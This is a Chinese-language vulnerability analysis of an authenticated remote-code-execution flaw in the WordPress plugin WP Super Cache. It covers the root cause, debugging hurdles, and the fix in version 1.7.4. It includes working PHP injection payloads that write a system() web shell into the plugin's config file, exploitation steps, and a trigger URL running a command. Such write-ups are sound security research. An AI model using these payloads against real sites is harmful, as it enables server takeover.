一波五折的wordpress插件wp super cache RCE漏洞分析之旅
字数 1360 2025-08-05 08:19:35
WordPress插件WP Super Cache RCE漏洞分析与利用
漏洞概述
- 漏洞类型: 远程代码执行(RCE)
- 影响版本: WP Super Cache 1.7.1及以下版本
- 漏洞条件: 需要认证(后台管理员权限)
- 漏洞本质: 配置文件写入导致的代码执行
- CVE编号: 未提及
- 披露时间: 2021年3月
漏洞原理
该漏洞属于典型的"写入配置文件getshell"类型,攻击者通过控制缓存路径参数,向wp-cache-config.php配置文件注入恶意PHP代码。
关键函数分析
- trailingslashit(): 调用untrailingslashit()并在末尾添加/
- untrailingslashit(): 移除字符串右侧的\和/两个字符
- dirname(): 返回路径中的目录名称部分
- realpath(): 返回绝对路径,删除所有符号连接
- basename(): 返回路径中的文件名部分
- rtrim(): 移除字符串右侧的空白字符或其他预定义字符
漏洞触发点
漏洞位于缓存路径参数的处理逻辑中,用户可控的$cache_path变量被直接写入配置文件:
$cache_path = 'evil_input'; //Added by WP-Cache Manager
漏洞利用
有效Payload构造
-
基本Payload:
';system($_GET[0]);# -
替代Payload:
/cache/';system($_GET[0]);?><!--
利用条件
- 必须保留
/cache/路径前缀或使用已存在的缓存文件夹 - 不能在中括号内使用单引号(如
$_GET['x']),否则会导致路径处理异常
利用步骤
- 以管理员身份登录WordPress后台
- 访问WP Super Cache设置页面
- 在缓存位置输入框中输入恶意Payload
- 提交保存设置
- 访问触发URL执行命令:
http://target/wp-admin/options-general.php?page=wpsupercache&tab=settings&0=whoami
漏洞分析过程
分析波折
-
不可写问题排查:
- 检查文件系统权限
- 验证正常值能否写入
- 确认PHP运行权限足够
-
版本问题排查:
- 测试1.7.1和1.4.8版本
- 确认漏洞与版本无关
-
关键代码测试:
- 提取关键代码单独测试
- 确认Payload在独立环境中有效
-
输入处理排查:
- 检查是否有输入过滤
- 确认
$_POST['wp_cache_location']接收原始输入
-
特殊字符排查:
- 逐步测试Payload中的特殊字符
- 发现中括号内单引号导致问题
动态调试发现
dirname()处理后'];#字符丢失realpath()处理带有转义单引号的路径返回false- 导致
$dir赋值为默认路径WP_CONTENT_DIR . '/cache/' - 无法进入写入配置文件的if分支
漏洞修复
WP Super Cache 1.7.4版本增加了正则替换特殊字符的防护措施:
// 新增了特殊字符过滤
经验总结
- 不要盲目相信网上公开的漏洞分析和Payload
- 排查问题要系统化,逐步排除可能性
- 注意细节,特殊字符可能导致意外行为
- Payload应尽量精简,避免不必要特殊字符
- 遇到困难时可暂时休息,换角度思考
参考资源
- Exploit-DB条目
- WordPress官方插件仓库
- PHP函数官方文档
附录
测试环境配置
- WordPress 5.8
- WP Super Cache 1.4.8
- PHPStudy环境
- PHP 7.0.12
- MySQL 5.5.53
相关函数详细说明
(此处可补充各关键PHP函数的详细说明和使用示例)